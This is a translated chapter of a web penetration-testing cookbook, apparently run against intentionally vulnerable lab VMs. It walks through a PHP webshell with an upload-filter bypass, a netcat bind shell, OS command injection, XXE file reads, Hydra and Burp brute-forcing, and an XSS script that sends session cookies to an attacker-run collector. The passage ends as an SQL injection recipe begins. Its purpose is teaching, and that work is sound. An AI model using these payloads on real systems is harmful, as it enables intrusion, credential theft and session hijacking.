第六章 利用 – 低懸的果實(shí)

作者:Gilberto Najera-Gutierrez
譯者:飛龍
協(xié)議:CC BY-NC-SA 4.0

簡(jiǎn)介

這章開始我們會(huì)開始涉及滲透測(cè)試的的利用層面。和漏洞評(píng)估的主要不同是,漏洞評(píng)估中測(cè)試者識(shí)別漏洞(多數(shù)時(shí)間使用自動(dòng)化掃描器)和提出如何減輕它們的建議。而滲透測(cè)試中測(cè)試者作為惡意攻擊者并嘗試?yán)脵z測(cè)到的漏洞,并得到最后的結(jié)果:整個(gè)系統(tǒng)的淪陷,內(nèi)部網(wǎng)絡(luò)訪問(wèn),敏感數(shù)據(jù)泄露,以及其它。同時(shí),要當(dāng)心不要影響系統(tǒng)的可用性或者為真正的攻擊者留下后門。

之前的章節(jié)中,我們已經(jīng)涉及了如何檢測(cè) Web 應(yīng)用中的一些漏洞。這一章中我們打算了解如何利用這些漏洞并使用它們來(lái)提取信息和獲得應(yīng)用及系統(tǒng)受限部分的訪問(wèn)權(quán)。

6.1 惡意使用文件包含和上傳

我們?cè)诘谒恼轮锌吹剑募┒丛陂_發(fā)者對(duì)生成文件路徑的輸入校驗(yàn)不當(dāng),并使用該路徑來(lái)包含源代碼文件時(shí)出現(xiàn)。服務(wù)端語(yǔ)言的現(xiàn)代版本,例如 PHP 自 5.2.0 起,將一些特性默認(rèn)關(guān)閉,例如遠(yuǎn)程文件包含,所以 2011 年起就不大可能找到 RFI 了。

這個(gè)秘籍中,我們會(huì)上傳一些惡意文件,其中之一是 Webshell(可用于在服務(wù)器中執(zhí)行命令的頁(yè)面),之后使用本地文件包含來(lái)執(zhí)行它。

準(zhǔn)備

這個(gè)秘籍中,我們會(huì)使用 vulnerable_vm 中的 DVWA ,并以中等安全級(jí)別配置,所以讓我們將其配置起來(lái)。

  • 1.訪問(wèn)http://192.168.56.102/dvwa。

  • 2.登錄。

  • 3.將安全級(jí)別設(shè)置為中。訪問(wèn)DVWA Security,在組合框中選擇medium并點(diǎn)擊Submit

我們會(huì)上傳一些文件給服務(wù)器,但是你需要記住它們儲(chǔ)存在哪里,以便之后調(diào)用。所以,在 DVWA 中訪問(wèn)Upload并上傳任何 JPG 圖像。如果成功了,他會(huì)告訴你文件上傳到了../../hackable/uploads/?,F(xiàn)在我們知道了用于儲(chǔ)存上傳文件的相對(duì)路徑。這對(duì)于秘籍就足夠了。

我們也需要準(zhǔn)備好我們的文件,所以讓我們創(chuàng)建帶有一下內(nèi)容的文本文件:

1  <?
2  system($_GET['cmd']); 
3  echo '<form method="post" action="../../hackable/uploads/webshell. php"><input type="text" name="cmd"/></form>'; 
4  ?>

將其保存為webshell.php。我們需要另一個(gè)文件,創(chuàng)建rename.php并輸入下列代碼:

1  <?
2  system('mv ../../hackable/uploads/webshell.jpg ../../hackable/uploads/ webshell.php'); 
3  ?>

這個(gè)文件會(huì)接受特殊圖像文件(webshell.jpg)并將其重命名為webshell.php。

操作步驟

  • 1.首先,讓我們嘗試上傳我們的 webshell。在 DVWA 中訪問(wèn)Upload之后嘗試上傳webshell.php,像這樣:


    于是,這里對(duì)于我們能夠上傳的東西有個(gè)驗(yàn)證。這意味著我們需要上傳圖標(biāo)文件,或更精確來(lái)說(shuō),帶有.jpg.png的圖像文件。這就是為什么我們需要重命名腳本來(lái)還原原始文件的.php擴(kuò)展,便于我們執(zhí)行它。

  • 2.為了避免驗(yàn)證錯(cuò)誤,我們需要將我們的 PHP 文件重命名為有效的擴(kuò)展名。在終端中,我們需要訪問(wèn) PHP 文件所在目錄并創(chuàng)建它們的副本:

1  cp rename.php rename.jpg 
2  cp webshell.php webshell.jpg
  • 3.現(xiàn)在,讓我們返回 DVWA 并嘗試上傳二者:


  • 4.一旦兩個(gè) JPG 文件都上傳了,我們使用本地文件包含漏洞過(guò)來(lái)執(zhí)行rename.jpg。訪問(wèn)文件包含部分并利用這個(gè)漏洞來(lái)包含../../hackable/uploads/rename.jpg


    我們并沒(méi)有得到這個(gè)文件執(zhí)行的任何輸出,我們需要假設(shè)webshell.jpg命名為webshell.php。

  • 5.如果它能工作,我們應(yīng)該能夠包含../../hackable/uploads/ webshell.php,讓我們?cè)囋嚕?br>

  • 6.在左上角的文本框中,輸入/sbin/ifconfig并按下回車:


    并且它能夠工作。就像圖片中那樣,服務(wù)器的 IP 是192.168.56.102。現(xiàn)在,我們可以在服務(wù)器中執(zhí)行命令,通過(guò)將它們鍵入到文本框中,或者為cmd參數(shù)設(shè)置不同的值。

工作原理

在上傳有效 JPG 文件時(shí),我們所做的第一個(gè)測(cè)試是為了發(fā)現(xiàn)上傳文件保存的路徑,便于我們可以在rename.php中,以及表單的action中使用這個(gè)路徑。

使用重命名腳本有兩個(gè)重要原因:首先,上傳頁(yè)面只允許 JPG 文件,所以我們的腳本需要這個(gè)擴(kuò)展名,其次,我們需要帶參數(shù)調(diào)用我們的 webshell(要執(zhí)行的命令),而我們從 Web 服務(wù)器調(diào)用圖片時(shí)不能帶參數(shù)。

PHP 中的system()函數(shù)是攻擊核心,它所做的是,執(zhí)行系統(tǒng)命令并顯示輸出。這允許我們將 webshell 文件從.jpg重命名為.php文件并執(zhí)行我們指定為 GET 參數(shù)的命令。

更多

一旦我們上傳并執(zhí)行了服務(wù)端代碼,我們有很多選擇來(lái)攻陷服務(wù)器,例如,下列代碼可以在綁定的 shell 中調(diào)用:

1  nc -lp 12345 -e /bin/bash

它打開服務(wù)器的 TCP 12345 端口并監(jiān)聽連接。連接建立之后,它會(huì)將接收的信息作為輸入來(lái)執(zhí)行/bin/bash,并把輸出通過(guò)網(wǎng)絡(luò)發(fā)給被連接的主機(jī)(攻擊者主機(jī))。

也可以讓服務(wù)器下載一些惡意程序,例如提權(quán)利用,執(zhí)行它來(lái)獲得更高權(quán)限。

6.2 利用 OS 命令注入

在上一個(gè)秘籍中,我們看到 PHP 的system()如何用于在服務(wù)器中執(zhí)行 OS 命令。有時(shí)開發(fā)者會(huì)使用類似于它的指令,或者相同的功能來(lái)執(zhí)行一些任務(wù),有時(shí)候他們會(huì)使用無(wú)效的用戶輸入作為參數(shù)來(lái)執(zhí)行命令。

這個(gè)秘籍中,我們會(huì)利用命令注入漏洞來(lái)提取服務(wù)器中的重要信息。

操作步驟

  • 1.登錄 DVWA 訪問(wèn)Command Execution

  • 2.我們會(huì)看到Ping for FREE表單,試試它吧。Ping192.168.56.1(在主機(jī)網(wǎng)絡(luò)中,我們的 Kali Linux 的 IP)。


    這個(gè)輸出看起來(lái)像是直接的 ping 命令的輸出。這表明服務(wù)器使用 OS 命令來(lái)執(zhí)行 ping。所以它可能存在 OS 命令注入。

  • 3.讓我們嘗試注入一個(gè)非常簡(jiǎn)單的命令,提交下列代碼:

1  192.168.56.1;uname -a.


我們可以看到uname命令的輸出就在 ping 的輸出之后。這里存在命令注入漏洞。

  • 4.如果不帶IP地址會(huì)怎么樣呢:;uname -a:。

  • 5.現(xiàn)在,我們打算獲取服務(wù)端的反向 shell。首先我們必須確保服務(wù)器擁有所需的任何東西。提交下列代碼:;ls /bin/nc*。


    所以我們擁有多于一種版本的 Netcat,我們打算使用它來(lái)生成連接。nc的OpenBSD版本不支持執(zhí)行連接命令,所以我們使用傳統(tǒng)的版本。

  • 6.下一步是監(jiān)聽 Kali 主機(jī)的連接。打開終端并執(zhí)行下列命令:

1  nc -lp 1691 -v

工作原理

就像 SQL 注入的例子那樣,命令注入漏洞的來(lái)源于弱輸入校驗(yàn)機(jī)制,以及使用用戶提供的數(shù)據(jù)來(lái)拼接之后會(huì)用做 OS 命令的字符串。如果我們查看剛剛攻擊的頁(yè)面源代碼(每個(gè) DVWA 頁(yè)面的右下角會(huì)有個(gè)按鈕),會(huì)看到這些:

1  <?php
2  if( isset( $_POST[ 'submit' ] ) ) { 
3  
4      $target = $_REQUEST[ 'ip' ];
5  
6      // Determine OS and execute the ping command. 
7      if (stristr(php_uname('s'), 'Windows NT')) { 
8          $cmd = shell_exec( 'ping ' . $target );
9          echo '<pre>'.$cmd.'</pre>'; 
10
11     } else {
12        $cmd = shell_exec( 'ping -c 3 ' . $target ); 
13        echo '<pre>'.$cmd.'</pre>';
14     } 
15 } 
16 ?>

我們可以看到,它直接將用戶的輸入附加到 ping 命令后面。我們所做的僅僅是添加一個(gè)分號(hào),系統(tǒng)的 shell 會(huì)將其解釋為命令的分隔符,以及下一個(gè)我們打算執(zhí)行的命令。

在成功執(zhí)行命令之后,下一步就是驗(yàn)證服務(wù)器是否擁有 Netcat。它是一個(gè)能夠建立網(wǎng)絡(luò)連接的工具,在一些版本中還可以在新連接建立之后執(zhí)行命令。我們看到了服務(wù)器的系統(tǒng)擁有兩個(gè)不同版本的 Netcat,并執(zhí)行了我們已知支持所需特性的版本。

之后我們配置攻擊系統(tǒng)來(lái)監(jiān)聽 TCP 1691 端口連接(也可以是任何其它可用的 TCP 端口),然后我們讓服務(wù)器連接到我們的機(jī)器,通過(guò)該端口并在連接建立時(shí)執(zhí)行/bin/bash(系統(tǒng) shell)。所以我們通過(guò)連接發(fā)送的任何東西都會(huì)被服務(wù)器接收作為 shell 的輸入。

也可以讓服務(wù)器下載一些惡意程序,例如提權(quán)利用,執(zhí)行它來(lái)獲得更高權(quán)限。

6.3 利用 XML 外部實(shí)體注入

XML 是主要用于描述文檔或數(shù)據(jù)結(jié)構(gòu)的格式,例如,HTML 是XML 的實(shí)現(xiàn),它定義了頁(yè)面和它們的關(guān)系的結(jié)構(gòu)和格式。

XML 實(shí)體類似于定義在 XML 結(jié)構(gòu)中的數(shù)據(jù)結(jié)構(gòu),它們中的一些能夠從文件系統(tǒng)中讀取文件或者甚至是執(zhí)行命令。

這個(gè)秘籍中,我們會(huì)利用 XML 外部實(shí)體注入漏洞來(lái)在服務(wù)器中執(zhí)行代碼。

準(zhǔn)備

建議你開始之前遵循上一個(gè)秘籍中的步驟。

操作步驟

  • 1.瀏覽http://192.168.56.102/mutillidae/index.php?page=xmlvalidator.php。

  • 2.上面寫著它是個(gè) XML 校驗(yàn)器。讓我們嘗試提交測(cè)試示例來(lái)觀察發(fā)生什么。在 XML 輸入框中,輸入<somexml><message>Hello World</message></ somexml>,并點(diǎn)擊Validate XML。

  • 3.現(xiàn)在讓我們觀察它是否正確處理了實(shí)體,提交系列代碼:

1  <!DOCTYPE person [
2      <!ELEMENT person ANY> 
3      <!ENTITY person "Mr Bob">
4  ]> 
5  <somexml><message>Hello World &person;</message></somexml>


這里,我們僅僅定義了實(shí)體并將值"Mr Bob"賦給它。解析器在展示結(jié)果時(shí)解釋了實(shí)體并替換了它的值。

  • 4.這就是內(nèi)部實(shí)體的使用,讓我們嘗試外部實(shí)體:
1  <!DOCTYPE fileEntity [
2       <!ELEMENT fileEntity ANY> 
3       <!ENTITY fileEntity SYSTEM "file:///etc/passwd"> 
4  ]> 
5  <somexml><message>Hello World &fileEntity;</message></somexml>

使用這個(gè)技巧,我們就可以提取系統(tǒng)中的任何文件,只要它們可以在 Web 服務(wù)器的運(yùn)行環(huán)境被用戶讀取。

我們也可以使用 XEE 來(lái)加載頁(yè)面。在上一個(gè)秘籍中,我們已經(jīng)設(shè)法將 webshell 上傳到服務(wù)器中,讓我們?cè)囋嚢伞?/p>

1  <!DOCTYPE fileEntity [ 
2      <!ELEMENT fileEntity ANY> 
3      <!ENTITY fileEntity SYSTEM "http://192.168.56.102/dvwa/hackable/uploads/ webshell.php?cmd=/sbin/ifconfig"> 
4 ]> 
5  <somexml><message>Hello World &fileEntity;</message></somexml>

工作原理

XML 擁有叫做實(shí)體的特性。XML 實(shí)體是與值關(guān)聯(lián)的名稱,每次實(shí)體在文檔中使用的時(shí)候,它都會(huì)在 XML文件處理時(shí)替換為值。使用它以及不同的可用包裝器(file://來(lái)加載系統(tǒng)文件,或者http://來(lái)加載 URL),我們就可以通過(guò)輸入校驗(yàn)和XML 解析器的配置,惡意使用沒(méi)有合理安全措施的實(shí)現(xiàn),并提取敏感數(shù)據(jù)或者甚至在服務(wù)器中執(zhí)行系統(tǒng)命令。

這個(gè)秘籍中,我們使用file://包裝器來(lái)使解析器加載服務(wù)器中的任意文件,之后,使用http://包裝器,我們調(diào)用了網(wǎng)頁(yè),它碰巧是同一個(gè)服務(wù)器中的 webshell,并執(zhí)行了一些命令。

更多

這個(gè)漏洞也可以用于發(fā)起 DoS 攻擊,叫做“Billion laughs”,你可以在維基百科中閱讀更多信息:https://en.wikipedia.org/wiki/Billion_laughs。

PHP 也支持不同的 XML 實(shí)體包裝器(類似于file://http://),如果它在服務(wù)器中被開啟,也會(huì)在不需要上傳文件的情況下允許命令執(zhí)行,它就是expect://。你可以在這里找到更多它和其它包裝器的信息:http://www.php.net/manual/en/wrappers.php。

另見(jiàn)

XXE 漏洞如何在世界上最流行的站點(diǎn)上發(fā)現(xiàn)的例子,可以在這里查看:http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution。

6.4 使用 Hydra 爆破密碼

Hydra 是網(wǎng)絡(luò)登錄破解器,也就是在線的破解器,這意味著它可以用于通過(guò)爆破網(wǎng)絡(luò)服務(wù)來(lái)發(fā)現(xiàn)登錄密碼。爆破攻擊嘗試猜測(cè)正確的密碼,通過(guò)嘗試所有可能的字符組合。這種攻擊一定能找到答案,但可能要花費(fèi)數(shù)百萬(wàn)年的時(shí)間。

雖然對(duì)于滲透測(cè)試者來(lái)說(shuō),等待這么長(zhǎng)時(shí)間不太可行,有時(shí)候在大量服務(wù)器中測(cè)試一小部分用戶名/密碼組合是非常有效率的。

這個(gè)秘籍中,我們會(huì)使用 Hydra 來(lái)爆破登錄頁(yè)面,在一些已知用戶上執(zhí)行爆破攻擊。

準(zhǔn)備

我們需要擁有用戶名列表,在我們?yōu)g覽 vulnerable_vm 的時(shí)候我們?cè)谠S多應(yīng)用中看到了有效用戶的一些名稱。讓我們創(chuàng)建文本文件users. txt,內(nèi)容如下:

1  admin
2  test 
3  user 
4  user1 
5  john

操作步驟

  • 1.我們的第一步是分析登錄請(qǐng)求如何發(fā)送,以及服務(wù)器如何響應(yīng)。我們使用 Burp Suite 來(lái)捕獲 DVWA 的登錄請(qǐng)求:


    我們可以看到請(qǐng)求是/dvwa/login.php,它擁有三個(gè)參數(shù):username、passwordlogin。

  • 2.如果我們停止捕獲請(qǐng)求,并檢查瀏覽器中的結(jié)果,我們可以看到響應(yīng)是登錄頁(yè)面的重定向。


    有效的用戶名/密碼組合不應(yīng)該直接重定向到登錄頁(yè)面,而應(yīng)該是其它頁(yè)面,例如index.php。所以我們假設(shè)有效登錄會(huì)重定向到其它頁(yè)面,我們會(huì)接受index.php作為用于分辨是否成功的字符串。Hydra 使用這個(gè)字符串來(lái)判斷是否某個(gè)用戶名/密碼被拒絕了。

  • 3.現(xiàn)在,我們準(zhǔn)備好攻擊了,在終端中輸入下列命令:

1  hydra 192.168.56.102 http-form-post "/dvwa/login.php:username=^USE R^&password=^PASS^&Login=Login:login.php" -L users.txt -e ns -u -t 2 -w 30 -o hydra-result.txt

我們使用這個(gè)命令只嘗試了兩個(gè)用戶名組合:密碼等于用戶名和密碼為空。我們從這個(gè)攻擊之中得到了兩個(gè)有效密碼,Hydra中標(biāo)為綠色。

工作原理

這個(gè)秘籍的第一個(gè)部分是捕獲和分析請(qǐng)求,用于了解請(qǐng)求如何工作。如果我們考慮登錄頁(yè)面的輸出,我們會(huì)看到消息“登錄失敗”,并且可以使用這個(gè)消息作為 Hydra的輸入來(lái)充當(dāng)失敗的字符串。但是,通過(guò)檢查代理的歷史,我們可以看到它出現(xiàn)在重定向之后,Hydra只讀取第一個(gè)響應(yīng),所以它并不能用,這也是我們使用login.php作為失敗字符串的原因。

我們使用了多個(gè)參數(shù)來(lái)調(diào)用 Hydra:

  • 首先是服務(wù)器的 IP 地址。
  • http-form-post:這表明 Hydra 會(huì)對(duì) HTTP 表單使用 POST 請(qǐng)求。接下來(lái)是由冒號(hào)分隔的,登錄頁(yè)面的 URL。請(qǐng)求參數(shù)和失敗字符串由&分隔,^USER^^PASS^用于表示用戶名和密碼應(yīng)該在請(qǐng)求中被放置的位置。
  • -L users.txt:這告訴 Hydra 從users.txt文件接收用戶名稱。
  • -e ns:Hydra 會(huì)嘗試空密碼并將用戶名作為密碼。
  • -u:Hydra會(huì)首先迭代用戶名而不是密碼。這意味著Hydra首先會(huì)對(duì)單一的密碼嘗試所有用戶名,之后移動(dòng)到下一個(gè)密碼。這在防止賬戶鎖定的時(shí)候很有用。
  • -t 2:我們不想讓登錄請(qǐng)求填滿服務(wù)器,所以我們使用兩個(gè)線程,這意味著每次兩個(gè)請(qǐng)求。
  • -w 30:設(shè)置超時(shí)時(shí)間,或者等待服務(wù)器響應(yīng)的時(shí)間。
  • -o hydra-result.txt:將輸出保存到文本文件中。當(dāng)我們擁有幾百個(gè)可能有效的密碼時(shí)這會(huì)很實(shí)用。

更多

要注意我們沒(méi)有使用-P選項(xiàng)來(lái)使用密碼列表,或者-x選項(xiàng)來(lái)自動(dòng)生成密碼。我們這樣做是因?yàn)楸?Web 表單產(chǎn)生很大的網(wǎng)絡(luò)流量,如果服務(wù)器對(duì)它沒(méi)有防護(hù),會(huì)產(chǎn)生 DoS 的情況。

不推薦使用大量的密碼在生產(chǎn)服務(wù)器上執(zhí)行爆破或字典攻擊,因?yàn)槲覀儠?huì)使服務(wù)器崩潰,阻攔有效用戶,或者被客戶端的保護(hù)機(jī)制阻攔。

推薦滲透測(cè)試者在執(zhí)行這種攻擊時(shí)對(duì)每個(gè)用戶嘗試四次,來(lái)避免被阻攔。例如,我們可以嘗試-e ns,就像這里做的這樣,之后添加-p 123456來(lái)測(cè)試三種可能性,沒(méi)有密碼、密碼和用戶名一樣以及密碼為123456,這是世界上最常見(jiàn)的密碼之一。

6.5 使用 Burp Suite 執(zhí)行登錄頁(yè)面的字典爆破

Burp Suite 的 Intruder 能夠?qū)?HTTP 請(qǐng)求的許多部分執(zhí)行模糊測(cè)試和爆破攻擊。在執(zhí)行登錄頁(yè)面上的字典攻擊時(shí)非常實(shí)用。

這個(gè)秘籍中,我們會(huì)使用 Burp Suite 的 Intruder 和 第二章生成的字典來(lái)通過(guò)登錄獲得訪問(wèn)權(quán)。

準(zhǔn)備

這個(gè)秘籍需要字典列表。它可以是來(lái)自目標(biāo)語(yǔ)言的簡(jiǎn)單單詞列表,常見(jiàn)密碼的列表,或者我們?cè)诘诙隆笆褂?John the Ripper 生成字典”中的列表。

操作步驟

  • 1.第一步是設(shè)置 Burp Suite 用作瀏覽器的代理。

  • 2.瀏覽http://192.168.56.102/WackoPicko/admin/index.php。

  • 3.我們會(huì)看到登錄頁(yè)面,讓我們嘗試和測(cè)試用戶名和密碼。

  • 4.現(xiàn)在訪問(wèn)大力的歷史,并查看我們剛剛生成的登錄的 POST 請(qǐng)求:


  • 5.右擊它并從菜單中選擇Send to intruder

  • 6.intruder 標(biāo)簽頁(yè)會(huì)高亮,讓我們?cè)L問(wèn)它之后訪問(wèn)Positions標(biāo)簽頁(yè)。這里我們會(huì)定義請(qǐng)求的哪個(gè)部分要用于測(cè)試。

  • 7.點(diǎn)擊Clear §來(lái)清除之前選項(xiàng)的區(qū)域。

  • 8.現(xiàn)在,我們已經(jīng)選擇了什么會(huì)用作測(cè)試輸入。高亮用戶名的值(test),并點(diǎn)擊Add §。

  • 9.對(duì)密碼值執(zhí)行相同操作,并點(diǎn)擊Cluster bomb作為攻擊類型:

  • 10.下一步就是定義Intruder 用于對(duì)我們所選擇的輸入測(cè)試的值。訪問(wèn)Payloads標(biāo)簽頁(yè)。

  • 11.使用寫著Enter a new item的文本框和Add按鈕,使用下列東西來(lái)填充列表:

1  user 
2  john 
3  admin 
4  alice 
5  bob 
6  administrator 
7  user
  • 12.現(xiàn)在從Payload Set框中選擇list 2。

-13.我們會(huì)使用字典來(lái)填充這個(gè)列表,點(diǎn)擊Load并選擇字典文件。

  • 14.我們現(xiàn)在擁有了兩個(gè)載荷集合,并準(zhǔn)備好攻擊登錄頁(yè)面了。在頂部的菜單中,訪問(wèn)Intruder | Start attack。

  • 15.如果我們使用免費(fèi)版,會(huì)出現(xiàn)一個(gè)提示框告訴我們一些功能是禁用的。這里,我們可以不使用這些功能,點(diǎn)擊OK。

  • 16.新的窗口會(huì)彈出,并展示攻擊進(jìn)度。為了分辨成功的登錄,我們需要檢查響應(yīng)長(zhǎng)度。點(diǎn)擊Length列來(lái)排列結(jié)果,通過(guò)不同長(zhǎng)度來(lái)識(shí)別響應(yīng)比較容易。

  • 17.如果我們檢查不同長(zhǎng)度的結(jié)果,我們可以看到他重定向到了管理主頁(yè),就像下面這樣:


工作原理

Intruder 所做的是,修改請(qǐng)求的特定部分,并使用定義好的載荷替換這些部分的值。載荷可以是這些東西:

  • 簡(jiǎn)單列表:來(lái)自文件,由剪貼板傳遞或者寫在文本框中的列表。
  • 運(yùn)行時(shí)文件:Intruder 可以在運(yùn)行時(shí)從文件中讀取載荷,所以如果文件非常大,它不會(huì)完全加載進(jìn)內(nèi)存。
  • 數(shù)字:生成一列順序或隨機(jī)的數(shù)字,以十進(jìn)制或十六進(jìn)制形式。
  • 用戶名生成器:接受郵件地址列表,從中提取可能的用戶。
  • 爆破器:接受字符集并使用它來(lái)生成指定長(zhǎng)度的所有排列。

這些載荷由Intruder以不同形式發(fā)送,在Positions標(biāo)簽頁(yè)中由攻擊類型指定。攻擊類型在載荷標(biāo)記中的組合和排列方式上有所不同。

  • Sniper:對(duì)于載荷的單一集合,它將每個(gè)載荷值放在每個(gè)標(biāo)記位置,一次一個(gè)。
  • Battering ram:類似Sniper,它使用載荷的單一集合,不同點(diǎn)是它在每個(gè)請(qǐng)求中將所有位置設(shè)置為相同的值。
  • Pitchfork:使用多個(gè)載荷集合,并將每個(gè)集合中的一個(gè)項(xiàng)目放到每個(gè)標(biāo)記位置中。當(dāng)我們擁有不能混用的預(yù)定義數(shù)據(jù)時(shí),這會(huì)非常有用,例如,測(cè)試已知的用戶名和密碼。
  • Cluster bomb:測(cè)試多個(gè)載荷,所以每個(gè)可能的排列都可以測(cè)試到。

對(duì)于結(jié)果,我們可以看到所有失敗嘗試都有相同的響應(yīng),這里是 811 字節(jié)。所以我們假設(shè)成功響應(yīng)的長(zhǎng)度應(yīng)該不同(因?yàn)樗鼤?huì)重定向到用戶主頁(yè))。如果碰巧成功和失敗請(qǐng)求長(zhǎng)度相同,我們也可以檢查狀態(tài)碼或者使用搜索框來(lái)尋找響應(yīng)中的特定模式。

更多

Kali 包含了非常實(shí)用的密碼字典和單詞列表集合,位于/usr/ share/wordlists。一些文件可以在這里找到:

  • rockyou.txt:Rockyou.com在 2010 年被攻破,泄露了多于 14 億的密碼,這個(gè)列表包含它們。
  • dnsmap.txt:包含常用的子域名稱,例如內(nèi)部網(wǎng)絡(luò)、FTP或者WWW。在我們爆破 DNS 服務(wù)器時(shí)非常實(shí)用。
  • ./dirbuster/*dirbuster目錄包含Web 服務(wù)器中常見(jiàn)的文件名稱,這些文件可以在使用DirBuster或 OWASP ZAP 強(qiáng)制瀏覽時(shí)使用。
  • ./wfuzz/*:在這個(gè)目錄中,我們可以找到用于Web 攻擊的模糊字符串的大量集合,以及爆破文件。

6.6 通過(guò) XSS 獲得會(huì)話 Cookie

我們已經(jīng)談?wù)撨^(guò)了 XSS,它是現(xiàn)在最常見(jiàn)的 Web 攻擊之一。XSS 可以用于欺騙用戶,通過(guò)模仿登錄頁(yè)面來(lái)獲得身份,或者通過(guò)執(zhí)行客戶端命令來(lái)收集信息,或者通過(guò)獲得會(huì)話 cookie 以及冒充在攻擊者的瀏覽器中的正常用戶來(lái)劫持會(huì)話。

這個(gè)秘籍中,我們會(huì)利用持久性 XSS 來(lái)獲得用戶的會(huì)話 Cookie,之后使用這個(gè) cookie 來(lái)通過(guò)移植到另一個(gè)瀏覽器來(lái)劫持會(huì)話,之后冒充用戶來(lái)執(zhí)行操作。

準(zhǔn)備

對(duì)于這個(gè)秘籍,我們需要啟動(dòng) Web 服務(wù)器作為我們的 cookie 收集器,所以在我們攻擊之前,我們需要啟動(dòng) Kali 中的 Apache,之后在 root 終端中執(zhí)行下列命令:

1  service apache2 start

在這本書所使用的系統(tǒng)中,Apache 的文檔根目錄位于/var/www/html,創(chuàng)建叫做savecookie.php的文件并輸入下列代碼:

1  ?php 
2  $fp = fopen('/tmp/cookie_data.txt', 'a'); 
3  fwrite($fp, $_GET["cookie"] . "\n"); 
4  fclose($fp); 
5  ?>

這個(gè) PHP 腳本會(huì)收集由 XSS 發(fā)送的所有 cookie。為了確保它能工作,訪問(wèn)http://127.0.0.1/savecookie.php?cookie=test,并且檢查/tmp/cookie_data.txt的內(nèi)容:

1  cat /tmp/cookie_data.txt 

如果它顯式了test單詞,就能生效。下一步就是了解 Kali 主機(jī)在 VirtualBox 主機(jī)網(wǎng)絡(luò)中的地址,執(zhí)行:

1  ifconfig

對(duì)于這本書,Kali 主機(jī) 的vboxnet0接口 IP 為 192.168.56.1 。

操作步驟

  • 1.我們?cè)谶@個(gè)秘籍中會(huì)使用兩個(gè)不同的瀏覽器。OWASP Mantra 是攻擊者的瀏覽器,Iceweasel 是受害者的瀏覽器。在攻擊者的瀏覽器中,訪問(wèn)http://192.168.56.102/peruggia/。

  • 2.讓我們給頁(yè)面的圖片添加一條評(píng)論,點(diǎn)擊Comment on this picture。

  • 3.在文本框中輸入下列代碼:

1  <script> 
2  var xmlHttp = new XMLHttpRequest(); 
3  xmlHttp.open( "GET", "http://192.168.56.1/savecookie.php?cookie=" + document.cookie, true ); 
4  xmlHttp.send( null ); 
5  </script>
  • 4.點(diǎn)擊Post

  • 5.頁(yè)面會(huì)執(zhí)行我們的腳本,即使我們看不見(jiàn)任何改動(dòng)。檢查Cookie 文件的內(nèi)容來(lái)查看結(jié)果。在我們的 Kali 主機(jī)上,打開終端并執(zhí)行:

1  cat /tmp/cookie_data.txt 

文件中會(huì)出現(xiàn)新的條目。

  • 6.現(xiàn)在,在受害者瀏覽器中訪問(wèn)http://192.168.56.102/peruggia/

  • 7.點(diǎn)擊Login。

  • 8.輸入admin作為用戶名和密碼,并點(diǎn)擊Login。

  • 9.讓我們?cè)俅螜z查Cookie文件的內(nèi)容:

1  cat /tmp/cookie_data.txt 

最后一個(gè)條目由受害者的瀏覽器中的用戶生成。

  • 10.現(xiàn)在在攻擊者的瀏覽器中,確保你沒(méi)有登錄,并打開 Cookies Manager+(在 Mantra 的菜單中,Tools | Application Auditing | Cookies Manager+)。

  • 11.選擇 192.168.56.102(vulnerable_vm)的PHPSESSID
    Cookie。并點(diǎn)擊Edit

  • 12.從/tmp/cookie_data.txt復(fù)制最后一個(gè)Cookie。之后將其粘貼到Content字段中,像這樣:

  • 13.點(diǎn)擊Save,之后點(diǎn)擊Close并在攻擊者的瀏覽器中重新加載頁(yè)面。


    現(xiàn)在我們通過(guò)持久性 XSS 攻擊劫持了管理員的會(huì)話。

工作原理

簡(jiǎn)單來(lái)說(shuō),我們使用應(yīng)用中的 XSS 漏洞來(lái)將會(huì)話 Cookie 發(fā)送給遠(yuǎn)程服務(wù)器,通過(guò) JavaScript HTTP 請(qǐng)求。這個(gè)服務(wù)器被配置用于儲(chǔ)存會(huì)話 Cookie,之后,我們獲得一個(gè)會(huì)話 ID,并把它移植到不同的瀏覽器中來(lái)劫持驗(yàn)證用戶的會(huì)話。下面,我們來(lái)看看每一步如何工作。

我們編寫的 PHP 文件用于在 XSS 攻擊執(zhí)行時(shí)保存收到的 Cookie。

我們輸入的評(píng)論是一個(gè)腳本,使用JavaScript 的XMLHttpRequest 對(duì)象來(lái)向我們的惡意服務(wù)器發(fā)送 HTTP 請(qǐng)求,這個(gè)請(qǐng)求由兩步構(gòu)建:

1  xmlHttp.open( "GET", "http://192.168.56.1/savecookie.php?cookie=" + document.cookie, true );

我們使用 GET 方法打開請(qǐng)求,向http://192.168.56.1/savecookie.phpURL添加叫做cookie的參數(shù),它的值儲(chǔ)存在document.cookie中,它是 JavaScript 中儲(chǔ)存cookie值的變量。最后的參數(shù)設(shè)置為true,告訴瀏覽器這是異步請(qǐng)求,這意味著它不需要等待響應(yīng)。

1  xmlHttp.send( null )

最后的指令將請(qǐng)求發(fā)送給服務(wù)器。

在管理員登錄并查看包含我們所發(fā)送評(píng)論的頁(yè)面之后,腳本會(huì)執(zhí)行,并且管理員的會(huì)話 cookie 就儲(chǔ)存在我們的服務(wù)器中了。

最后,一旦我們獲得了有效用戶的會(huì)話 cookie,我們可以在瀏覽器中替換我們自己的會(huì)話 cookie,之后重新加載頁(yè)面來(lái)執(zhí)行操作,就像我們是這個(gè)用戶一樣。

更多

不僅僅是保存會(huì)話 Cookie 到文件,惡意服務(wù)器也可以使用這些cookie 來(lái)向應(yīng)用發(fā)送請(qǐng)求來(lái)冒充正常用戶,以便執(zhí)行操作,例如添加或刪除評(píng)論、上傳圖片或創(chuàng)建新用戶,甚至是管理員。

6.7 逐步執(zhí)行基本的 SQL 注入

我們?cè)诘谒恼铝私饬巳绾螜z測(cè) SQL 注入。這個(gè)秘籍中,我們會(huì)利用這個(gè)注入,并提取數(shù)據(jù)庫(kù)的信息。

操作步驟

  • 1.我們已經(jīng)知道了 DVWA 存在SQL 注入的漏洞。所以我們使用 OWASP Mantra 登錄,之后訪問(wèn)http://192.168.56.102/dvwa/vulnerabilities/ sqli/。

  • 2.在檢測(cè) SQL 注入存在之后,下一步就是查詢,準(zhǔn)確來(lái)說(shuō)就是結(jié)果有多少列。在 ID 框中輸入任何數(shù)字之后點(diǎn)擊Submit。

  • 3.現(xiàn)在,打開 HackBar(按下F9)并點(diǎn)擊Load URL。地址欄中的 URL 應(yīng)該出現(xiàn)在 HackBar 內(nèi)。

